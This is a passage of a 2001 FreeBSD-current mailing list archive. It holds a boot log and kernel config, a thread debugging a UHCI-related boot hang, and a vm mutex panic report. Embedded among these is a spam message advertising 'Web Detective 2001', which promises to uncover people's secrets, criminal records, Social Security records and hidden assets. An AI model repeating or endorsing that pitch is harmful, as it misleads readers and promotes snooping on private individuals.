0x00405000 - 0x07ff4fff, 129957888 bytes (31728 pages) avail memory = 126656512 (123688K bytes) bios32: Found BIOS32 Service Directory header at 0xc00f9ce0 bios32: Entry = 0xf0520 (c00f0520) Rev = 0 Len = 1 pcibios: PCI BIOS entry at 0xf0000+0x720 pnpbios: Found PnP BIOS data at 0xc00fd190 pnpbios: Entry = f0000:d1c0 Rev = 1.0 pnpbios: OEM ID cd041 Other BIOS signatures found: Preloaded elf kernel "kernel.test" at 0xc03df000. null: random: mem: Pentium Pro MTRR support enabled Using $PIR table, 7 entries at 0xc00f0d10 npx0: on motherboard npx0: INT 16 interface pcib0: at pcibus 0 on motherboard pci0: physical bus=0 map[10]: type 3, range 32, base e4000000, size 26, enabled found-> vendor=0x8086, dev=0x7190, revid=0x03 bus=0, slot=0, func=0 class=06-00-00, hdrtype=0x00, mfdev=0 found-> vendor=0x8086, dev=0x7191, revid=0x03 bus=0, slot=1, func=0 class=06-04-00, hdrtype=0x01, mfdev=0 found-> vendor=0x8086, dev=0x7110, revid=0x02 bus=0, slot=4, func=0 class=06-01-00, hdrtype=0x00, mfdev=1 map[20]: type 4, range 32, base 0000d800, size 4, enabled found-> vendor=0x8086, dev=0x7111, revid=0x01 bus=0, slot=4, func=1 class=01-01-80, hdrtype=0x00, mfdev=0 map[20]: type 4, range 32, base 0000d400, size 5, enabled found-> vendor=0x8086, dev=0x7112, revid=0x01 bus=0, slot=4, func=2 class=0c-03-00, hdrtype=0x00, mfdev=0 intpin=d, irq=5 map[90]: type 4, range 32, base 0000e800, size 4, enabled found-> vendor=0x8086, dev=0x7113, revid=0x02 bus=0, slot=4, func=3 class=06-80-00, hdrtype=0x00, mfdev=0 map[10]: type 4, range 32, base 0000d000, size 8, enabled map[14]: type 1, range 64, base e0000000, size 12, enabled found-> vendor=0x9005, dev=0x001f, revid=0x00 bus=0, slot=6, func=0 class=01-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=5 powerspec 1 supports D0 D3 current D0 map[10]: type 1, range 32, base df800000, size 12, enabled map[14]: type 4, range 32, base 0000b800, size 6, enabled map[18]: type 1, range 32, base df000000, size 20, enabled found-> vendor=0x8086, dev=0x1229, revid=0x08 bus=0, slot=10, func=0 class=02-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=10 powerspec 2 supports D0 D1 D2 D3 current D0 pci0: on pcib0 pcib1: at device 1.0 on pci0 pcib1: secondary bus 1 pcib1: subordinate bus 1 pcib1: I/O decode 0xe000-0xdfff pcib1: memory decode 0xe0800000-0xe1cfffff pcib1: prefetched decode 0xe1f00000-0xe3ffffff pci1: physical bus=1 map[10]: type 3, range 32, base e2000000, size 25, enabled map[14]: type 1, range 32, base e1000000, size 14, enabled map[18]: type 1, range 32, base e0800000, size 23, enabled found-> vendor=0x102b, dev=0x0525, revid=0x04 bus=1, slot=0, func=0 class=03-00-00, hdrtype=0x00, mfdev=0 intpin=a, irq=11 powerspec 2 supports D0 D3 current D0 pci1: on pcib1 pci1: at 0.0 (no driver attached) isab0: at device 4.0 on pci0 isa0: on isab0 pci0: at 4.1 (no driver attached) uhci0: port 0xd400-0xd41f irq 5 at dev ice 4.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered intpm0: port 0xe800-0xe80f irq 9 at device 4.3 on pci0 intpm0: I/O mapped e800 intpm0: intr IRQ 9 enabled revision 0 smbus0: on intsmb0 smb0: on smbus0 intpm0: PM I/O mapped e400 ahc0: port 0xd000-0xd0ff mem 0xe0000000 -0xe0000fff irq 5 at device 6.0 on pci0 ahc0: Reading SEEPROM...done. ahc0: Manual LVD Termination ahc0: BIOS eeprom is present ahc0: Secondary High byte termination Enabled ahc0: Secondary Low byte termination Enabled ahc0: Primary Low Byte termination Enabled ahc0: Primary High Byte termination Enabled ahc0: Downloading Sequencer Program... 422 instructions downloaded aic7890/91: Ultra2 Wide Channel A, SCSI Id=7, 32/255 SCBs fxp0: port 0xb800-0xb83f mem 0xdf000000-0xdf0f ffff,0xdf800000-0xdf800fff irq 10 at device 10.0 on pci0 fxp0: using memory space register mapping fxp0: Ethernet address 00:90:27:a6:6e:ca fxp0: PCI IDs: 8086 1229 8086 000c fxp0: Chip Type: 0 inphy0: on miibus0 inphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto bpf: fxp0 attached Trying Read_Port at 203 Trying Read_Port at 243 Trying Read_Port at 283 Trying Read_Port at 2c3 Trying Read_Port at 303 Trying Read_Port at 343 Trying Read_Port at 383 Trying Read_Port at 3c3 pnpbios: 15 devices, largest 114 bytes PNP0400: adding irq mask 0x80 PNP0400: adding io range 0x378-0x37f, size=0x8, align=0 PNP0400: adding io range 0x778-0x77f, size=0x8, align=0 PNP0400: end config pnpbios: handle 0 device ID PNP0400 (0004d041) PNP0501: adding irq mask 0x10 PNP0501: adding io range 0x3f8-0x3ff, size=0x8, align=0 PNP0501: end config pnpbios: handle 2 device ID PNP0501 (0105d041) PNP0501: adding irq mask 0x8 PNP0501: adding io range 0x2f8-0x2ff, size=0x8, align=0 PNP0501: end config pnpbios: handle 3 device ID PNP0501 (0105d041) PNP0700: adding irq mask 0x40 PNP0700: adding dma mask 0x4 PNP0700: adding io range 0x3f2-0x3f5, size=0x4, align=0 PNP0700: end config pnpbios: handle 4 device ID PNP0700 (0007d041) PNP0f13: adding irq mask 0x1000 PNP0f13: end config pnpbios: handle 5 device ID PNP0f13 (130fd041) PNP0c01: adding fixed memory32 range 0-0x9ffff, size=0xa0000 PNP0c01: adding fixed memory32 range 0x100000-0x7ffffff, size=0x7f00000 PNP0c01: adding fixed memory32 range 0xe8000-0xeffff, size=0x8000 PNP0c01: adding fixed memory32 range 0xf0000-0xf3fff, size=0x4000 PNP0c01: adding fixed memory32 range 0xf4000-0xf7fff, size=0x4000 PNP0c01: adding fixed memory32 range 0xf8000-0xfffff, size=0x8000 PNP0c01: adding fixed memory32 range 0xd1000-0xd3fff, size=0x3000 PNP0c01: adding fixed memory32 range 0xfffe0000-0xffffffff, size=0x20000 PNP0c01: end config pnpbios: handle 6 device ID PNP0c01 (010cd041) PNP0000: adding irq mask 0x4 PNP0000: adding io range 0x20-0x21, size=0x2, align=0 PNP0000: adding io range 0xa0-0xa1, size=0x2, align=0 PNP0000: adding io range 0x4d0-0x4d1, size=0x2, align=0 PNP0000: end config pnpbios: handle 7 device ID PNP0000 (0000d041) PNP0100: adding irq mask 0x1 PNP0100: adding io range 0x40-0x43, size=0x4, align=0 PNP0100: end config pnpbios: handle 8 device ID PNP0100 (0001d041) PNP0b00: adding irq mask 0x100 PNP0b00: adding io range 0x70-0x71, size=0x2, align=0 PNP0b00: end config pnpbios: handle 9 device ID PNP0b00 (000bd041) PNP0303: adding irq mask 0x2 PNP0303: adding io range 0x60-0x60, size=0x1, align=0 PNP0303: adding io range 0x64-0x64, size=0x1, align=0 PNP0303: end config pnpbios: handle 10 device ID PNP0303 (0303d041) PNP0c04: adding irq mask 0x2000 PNP0c04: adding io range 0xf0-0xf0, size=0x1, align=0 PNP0c04: end config pnpbios: handle 11 device ID PNP0c04 (040cd041) PNP0200: adding dma mask 0x10 PNP0200: adding io range 0-0xf, size=0x10, align=0 PNP0200: adding io range 0x80-0x90, size=0x11, align=0 PNP0200: adding io range 0x94-0x9f, size=0xc, align=0 PNP0200: adding io range 0xc0-0xde, size=0x1f, align=0 PNP0200: end config pnpbios: handle 12 device ID PNP0200 (0002d041) PNP0800: adding io range 0x61-0x61, size=0x1, align=0x1 PNP0800: end config pnpbios: handle 13 device ID PNP0800 (0008d041) PNP0a03: adding io range 0xcf8-0xcff, size=0x8, align=0 PNP0a03: end config pnpbios: handle 14 device ID PNP0a03 (030ad041) PNP0c02: adding io range 0x290-0x297, size=0x8, align=0 PNP0c02: adding io range 0xe400-0xe43f, size=0x40, align=0 PNP0c02: adding io range 0xe800-0xe83f, size=0x40, align=0 PNP0c02: end config pnpbios: handle 15 device ID PNP0c02 (020cd041) sc-: sc0 already exists, using sc1 instead vga-: vga0 already exists, using vga1 instead isa_probe_children: disabling PnP devices isa_probe_children: probing non-PnP devices adv0 failed to probe on isa0 aha0 failed to probe on isa0 aic0 failed to probe on isa0 ata0 failed to probe at port 0x1f0 irq 14 on isa0 ata1 failed to probe at port 0x170 irq 15 on isa0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 atkbd: the current kbd controller command byte 0047 atkbd: keyboard ID 0x41ab (2) kbdc: RESET_KBD return code:00fa kbdc: RESET_KBD status:00aa kbd0: atkbd0, AT 101/102 (2), config:0x1, flags:0x1d0000 psm0: current command byte:0047 kbdc: TEST_AUX_PORT status:0000 kbdc: RESET_AUX return code:00fa kbdc: RESET_AUX status:00aa kbdc: RESET_AUX ID:0000 psm: status 00 02 64 psm: status 00 00 64 psm: status 00 03 64 psm: status 00 03 64 psm: data 08 00 00 psm: status 10 00 64 psm: status 00 02 64 psm: data 08 00 00 psm: status 00 02 64 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0-00, 2 buttons psm0: config:00000000, flags:00000000, packet size:3 psm0: syncmask:c0, syncbits:00 bt0 failed to probe on isa0 cs0 failed to probe at port 0x300 on isa0 ed0 failed to probe at port 0x280 iomem 0xd8000 irq 10 on isa0 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 fe0 failed to probe at port 0x300 on isa0 ie0 failed to probe at port 0x300 iomem 0xd0000 irq 10 on isa0 le0 failed to probe at port 0x300 iomem 0xd0000 irq 5 on isa0 lnc0 failed to probe at port 0x280 irq 10 drq 0 on isa0 pcic0 failed to probe at port 0x3e0 iomem 0xd0000 on isa0 pcic1: not probed (disabled) pcm0 failed to probe at irq 10 drq 1 on isa0 pmtimer0 failed to probe on isa0 ppc0 failed to probe at irq 7 on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x100> sc0: fb0, kbd0, terminal emulator: sc (syscons terminal) sio0: irq maps: 0x41 0x51 0x41 0x41 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A, console sio1: irq maps: 0x41 0x49 0x41 0x41 sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A sio2: not probed (disabled) sio3: not probed (disabled) sn0 failed to probe at port 0x300 irq 10 on isa0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 fb0: vga0, vga, type:VGA (5), flags:0x7007f fb0: port:0x3c0-0x3df, crtc:0x3d4, mem:0xa0000 0x20000 fb0: init mode:24, bios mode:3, current mode:24 fb0: window:0xc00b8000 size:32k gran:32k, buf:0 size:32k VGA parameters upon power-up 50 18 10 00 00 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0e 0f 00 00 07 80 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff VGA parameters in BIOS for mode 24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff EGA/VGA parameters to be used for mode 24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff vt0 failed to probe on isa0 sc1: no video adapter is found. sc1: failed to probe on isa0 vga1: failed to probe on isa0 isa_probe_children: probing PnP devices unknown: failed to probe at port 0x378-0x37f,0x778-0x77f irq 7 on isa0 unknown: can't assign resources unknown: at port 0x3f8-0x3ff on isa0 unknown: can't assign resources unknown: at port 0x2f8-0x2ff on isa0 unknown: can't assign resources unknown: at port 0x3f2-0x3f5 on isa0 unknown: can't assign resources unknown: at irq 12 on isa0 unknown: can't assign resources unknown: at port 0x60 on isa0 unknown: failed to probe at port 0x61 on isa0 BIOS Geometries: 0:03fefe3f 0..1022=1023 cylinders, 0..254=255 heads, 1..63=63 sectors 1:022afe3f 0..554=555 cylinders, 0..254=255 heads, 1..63=63 sectors 0 accounted for Device configuration finished. bpf: lo0 attached IPsec: Initialized Security Association Processing. Waiting 2 seconds for SCSI devices to settle (noperiph:ahc0:0:-1:-1): SCSI bus reset delivered. 0 SCBs aborted. (probe0:ahc0:0:0:0): Retrying Command (probe1:ahc0:0:1:0): Retrying Command (probe5:ahc0:0:5:0): Retrying Command (probe5:ahc0:0:5:0): error 22 (probe5:ahc0:0:5:0): Unretryable Error (ahc0:A:5:0): Sending SDTR period c, offset 7f (ahc0:A:5:0): Received SDTR period 19, offset 10 Filtered to period 19, offset 10 ahc0: target 5 synchronous at 10.0MHz, offset = 0x10 (ahc0:A:0:0): Sending WDTR 1 (ahc0:A:0:0): Received WDTR 1 filtered to 1 ahc0: target 0 using 16bit transfers (ahc0:A:0:0): Sending SDTR period c, offset 7f (ahc0:A:0:0): Received SDTR period c, offset 1f Filtered to period c, offset 1f ahc0: target 0 synchronous at 20.0MHz, offset = 0x1f (ahc0:A:1:0): Sending WDTR 1 (ahc0:A:1:0): Received WDTR 1 filtered to 1 ahc0: target 1 using 16bit transfers (ahc0:A:1:0): Sending SDTR period c, offset 7f (ahc0:A:1:0): Received SDTR period c, offset f Filtered to period c, offset f ahc0: target 1 synchronous at 20.0MHz, offset = 0xf (ahc0:A:5:0): Sending SDTR period 19, offset 10 (ahc0:A:5:0): Received SDTR period 19, offset 10 Filtered to period 19, offset 10 Creating DISK cd0 Creating DISK da0 Creating DISK da1 pass0 at ahc0 bus 0 target 0 lun 0 pass0: Fixed Direct Access SCSI-3 device pass0: Serial Number AJL2J407 pass0: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabl ed pass1 at ahc0 bus 0 target 1 lun 0 pass1: Fixed Direct Access SCSI-2 device pass1: Serial Number RD0G6423 pass1: 40.000MB/s transfers (20.000MHz, offset 15, 16bit), Tagged Queueing Enabl ed pass2 at ahc0 bus 0 target 5 lun 0 pass2: Removable CD-ROM SCSI-2 device pass2: 10.000MB/s transfers (10.000MHz, offset 16) Mounting root from ufs:/dev/da0s1a (ahc0:A:5:0): Sending SDTR period 19, offset 10 (ahc0:A:5:0): Received SDTR period 19, offset 10 Filtered to period 19, offset 10 (cd0:ahc0:0:5:0): error 6 (cd0:ahc0:0:5:0): Unretryable Error cd0 at ahc0 bus 0 target 5 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 10.000MB/s transfers (10.000MHz, offset 16) cd0: Attempt to query device size failed: NOT READY, Medium not present da1 at ahc0 bus 0 target 1 lun 0 da1: Fixed Direct Access SCSI-2 device da1: Serial Number RD0G6423 da1: 40.000MB/s transfers (20.000MHz, offset 15, 16bit), Tagged Queueing Enabled da1: 4357MB (8925000 512 byte sectors: 255H 63S/T 555C) da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-3 device da0: Serial Number AJL2J407 da0: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled da0: 8748MB (17916240 512 byte sectors: 255H 63S/T 1115C) da0s1: type 0xa5, start 63, end = 12273659, size 12273597 : OK da0s2: type 0x83, start 12273660, end = 12321854, size 48195 : OK da0s3: type 0x5, start 12321855, end = 17912474, size 5590620 : OK da0s5: type 0x83, start 12321918, end = 17398394, size 5076477 : OK da0: type 0x5, start 17398395, end = 17655434, size 257040 : OK da0s6: type 0x82, start 17398458, end = 17655434, size 256977 : OK da0: type 0x5, start 17655435, end = 17912474, size 257040 : OK da0s7: type 0x82, start 17655498, end = 17912474, size 256977 : OK start_init: trying /sbin/init Enter full pathname of shell or RETURN for /bin/sh: # --_=XFMail.1.3.p0.FreeBSD:010519112246:306=_ Content-Disposition: attachment; filename="TEST" Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii; name=TEST; SizeOnDisk=1673 # # BLAKE # machine "i386" cpu "I686_CPU" ident BLAKE maxusers 32 options SOFTUPDATES options DDB options INVARIANTS options INVARIANT_SUPPORT options NMBCLUSTERS=4096 options "CLK_USE_I8254_CALIBRATION" options CLK_USE_TSC_CALIBRATION options INET #InterNETworking options IPSEC #IP security options IPSEC_ESP #IP security (crypto; define w/ IPSEC) options KTRACE #kernel tracing options FFS #Berkeley Fast Filesystem options NFS #Network Filesystem options MSDOSFS #MSDOS Filesystem options "CD9660" #ISO 9660 Filesystem options "EXT2FS" #Linux ext2 filesystem options NFS_ROOT #NFS usable as root device options PROCFS #Process filesystem options "COMPAT_43" #Compatible with BSD 4.3 [KEEP THIS!] options SYSVSHM options UCONSOLE #Allow users to grab the console options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor options P1003_1B #Posix P1003_1B real-time extentions options _KPOSIX_PRIORITY_SCHEDULING # options _KPOSIX_VERSION=199309L device isa device pci device fdc # A single entry for any of these controllers (ncr, ahb, ahc, amd) is # sufficient for any number of installed devices. device ahc options AHC_ALLOW_MEMIO device scbus device da device sa device cd device pass # Keyboard, mouse, display. device atkbdc 1 device atkbd device psm device sc 1 device vga device splash device npx device sio device miibus device de device fxp device wx device bpf device ether device gzip device loop device pty device random device md # On-board power management controller. device smbus device intpm device smb device usb device uhci --_=XFMail.1.3.p0.FreeBSD:010519112246:306=_-- End of MIME message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 11:37:45 2001 Delivered-To: freebsd-current@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id B051E37B422 for ; Sat, 19 May 2001 11:37:43 -0700 (PDT) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.3/8.11.3) with ESMTP id f4JIj0K01284; Sat, 19 May 2001 11:45:00 -0700 (PDT) (envelope-from msmith@mass.dis.org) Message-Id: <200105191845.f4JIj0K01284@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: John Polstra Cc: Warner Losh , current@FreeBSD.ORG Subject: Re: GENERIC kernel hangs at boot (uhci-related) In-reply-to: Your message of "Sat, 19 May 2001 11:22:46 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 19 May 2001 11:45:00 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I have some more information about this now. There is a BIOS knob > "USB IRQ" which can be set to Disabled or Enabled. If it is Disabled, > the hangs occur as I described. If it is Enabled, everything works > fine. I think it ought to boot in either case (-4.x does). I am not > actually using the USB ports, so it seems silly to tie up an interrupt > for them. You're not tying up an interrupt; PCI interrupts are shared. With the new PCI code, even if you turn it off, we'll just turn it right back on again. 8) The problem appears to be a bug in the UHCI driver. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 11:38:27 2001 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id CDC9437B422 for ; Sat, 19 May 2001 11:38:24 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.1) with ESMTP id f4JIcN027680 for ; Sat, 19 May 2001 11:38:23 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.3/8.11.0) id f4JIcMg98239; Sat, 19 May 2001 11:38:22 -0700 (PDT) (envelope-from jdp) Date: Sat, 19 May 2001 11:38:22 -0700 (PDT) Message-Id: <200105191838.f4JIcMg98239@vashon.polstra.com> To: current@freebsd.org From: John Polstra Subject: Re: GENERIC kernel hangs at boot (uhci-related) In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article , John Polstra wrote: > > I have a strong suspicion that backing out "sys/pci/uhci_pci.c" > revision 1.32 will make this problem go away. I'll test that next. Yep, I reverted that file to revision 1.31 and the hangs went away even with the USB IRQ disabled in the BIOS. The change in revison 1.32 apparently assumes that if no IRQ is assigned to the uhci device, the only possible reason is because PNP OS is turned on. But in my case the actual reason is different -- the IRQ is disabled in the BIOS. Is it feasible for the attach routine to distinguish between these two cases? John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Ch�gyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 11:44:36 2001 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id C36AC37B422; Sat, 19 May 2001 11:44:33 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.1) with ESMTP id f4JIiX027697; Sat, 19 May 2001 11:44:33 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.3/8.11.0) id f4JIiW798267; Sat, 19 May 2001 11:44:32 -0700 (PDT) (envelope-from jdp) Date: Sat, 19 May 2001 11:44:32 -0700 (PDT) Message-Id: <200105191844.f4JIiW798267@vashon.polstra.com> To: current@freebsd.org From: John Polstra Cc: msmith@freebsd.org Subject: Re: GENERIC kernel hangs at boot (uhci-related) In-Reply-To: <200105191845.f4JIj0K01284@mass.dis.org> References: <200105191845.f4JIj0K01284@mass.dis.org> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <200105191845.f4JIj0K01284@mass.dis.org>, Mike Smith wrote: > You're not tying up an interrupt; PCI interrupts are shared. With the > new PCI code, even if you turn it off, we'll just turn it right back on > again. 8) But if IRQ 5 is assigned to the uhci device, then it's not available for use by an ISA device, is it? Or am I all mixed up? > The problem appears to be a bug in the UHCI driver. Could be, and I certainly don't know much about this code. But it seems like the driver is being given reason to assume it has a working device when it doesn't really have one. I assume the device is unusable without its interrupt, so shouldn't it fail at probe or attach time? John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Ch�gyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 11:55:32 2001 Delivered-To: freebsd-current@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id 3846637B424 for ; Sat, 19 May 2001 11:55:26 -0700 (PDT) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.3/8.11.3) with ESMTP id f4JJ2tK01471; Sat, 19 May 2001 12:02:55 -0700 (PDT) (envelope-from msmith@mass.dis.org) Message-Id: <200105191902.f4JJ2tK01471@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: John Polstra Cc: current@freebsd.org Subject: Re: GENERIC kernel hangs at boot (uhci-related) In-reply-to: Your message of "Sat, 19 May 2001 11:44:32 PDT." <200105191844.f4JIiW798267@vashon.polstra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 Content-Transfer-Encoding: quoted-printable Date: Sat, 19 May 2001 12:02:55 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > In article <200105191845.f4JIj0K01284@mass.dis.org>, > Mike Smith wrote: > = > > You're not tying up an interrupt; PCI interrupts are shared. With th= e = > > new PCI code, even if you turn it off, we'll just turn it right back = on = > > again. 8) > = > But if IRQ 5 is assigned to the uhci device, then it's not available > for use by an ISA device, is it? Or am I all mixed up? If you're using IRQ 5 for an ISA device, the BIOS will give the PCI = controller another IRQ (as long as you've told it this). = > > The problem appears to be a bug in the UHCI driver. > = > Could be, and I certainly don't know much about this code. But > it seems like the driver is being given reason to assume it has a > working device when it doesn't really have one. I assume the device > is unusable without its interrupt, so shouldn't it fail at probe or > attach time? Yes, it should. It's not bright enough to do that yet. -- = =2E.. every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 13:50:13 2001 Delivered-To: freebsd-current@freebsd.org Received: from dnscache.cbr.au.asiaonline.net (dnscache.cbr.au.asiaonline.net [210.215.8.100]) by hub.freebsd.org (Postfix) with ESMTP id BCED137B424 for ; Sat, 19 May 2001 13:50:07 -0700 (PDT) (envelope-from markdens@operamail.com) Received: from citygroup.com.au ([210.215.12.121]) by dnscache.cbr.au.asiaonline.net (8.10.2/8.10.2) with SMTP id f4JKmTs06301; Sun, 20 May 2001 06:48:30 +1000 (EST) Received: from 63.53.43.206 ([63.53.43.206]) by citygroup.com.au (WinRoute Pro 4.1.25) with SMTP; Sun, 20 May 2001 06:53:25 +1000 Date: Sun, 20 May 2001 04:45:27 -0800 Subject: Do they know your secrets? X-Mailer: Microsoft Internet Mail 4.70.1154 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 8BIT From: craig19_633@email.com Message-Id: To: harryspalace@operamail.com Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG
WebDetective2001
Web Detective 2001™
The easy way to find the Truth about anyone and anything with Web Detective 2001™

Stop Wasting Your Time on Search Engines that lead to Dead Ends!
Discover Tons of Secret Information for Your
Personal and Business needs with Web Detective 2001™

Start Your Online Investigation Today with Web Detective 2001™
The Most Powerful Detective Tool on the Internet

 Click Here to Start your Online Investigations

Web Detective 2001™ helps you...

Locate e-mails, phone numbers, and addresses.
Find information on your friends, neighbors, relatives or boss.
Find debtors and locate hidden assets.
Check driving and criminal records.
Investigate your family history, birth, death and Social Security Records.
Locate old classmates, missing family member.
Find your long lost Love and other confidential information.


  Click Here to Start your Online Investigations

If you would like to be removed from our mailing list, click here.

Copyright © 2001 WebDetective2001. All Rights Reserved.
To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 13:53:27 2001 Delivered-To: freebsd-current@freebsd.org Received: from sol.serv.u-szeged.hu (sol.serv.u-szeged.hu [160.114.51.3]) by hub.freebsd.org (Postfix) with ESMTP id 5045637B422 for ; Sat, 19 May 2001 13:53:24 -0700 (PDT) (envelope-from sziszi@petra.hos.u-szeged.hu) Received: from petra.hos.u-szeged.hu by sol.serv.u-szeged.hu (8.9.3+Sun/SMI-SVR4) id WAA20438; Sat, 19 May 2001 22:53:22 +0200 (MEST) Received: from sziszi by petra.hos.u-szeged.hu with local (Exim 3.12 #1 (Debian)) id 151Dix-0002qB-00 for ; Sat, 19 May 2001 22:53:19 +0200 Date: Sat, 19 May 2001 22:53:19 +0200 From: Szilveszter Adam To: current@freebsd.org Subject: panic: mutex vm not owned... Message-ID: <20010519225319.A10701@petra.hos.u-szeged.hu> Mail-Followup-To: Szilveszter Adam , current@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello everybody, I guess I was just being too happy so it had to get me this time:-) I was building Mozilla when it struck. Today's -CURRENT, kernel & world in sync, no softupdates. panic: mutex vm not owned at ../../vm/vm_page.h:328 Debugger("panic") Stopped at Debugger trace: Debugger panic _mtx_assert swp_pager_async_iodone _iodone bufdone bufdonebio ad_interrupt ata_intr fork_exit fork_trampoline Unfortunately, dumping still doesn't work, I get the old and familiar: dump ata0: resetting devices... panic: witness_restore: lock (sleep mutex) Giant not locked. So there is no crash dump. Ideas? -- Regards: Szilveszter ADAM Szeged University Szeged Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat May 19 18:16:23 2001 Delivered-To: freebsd-current@freebsd.org Received: from 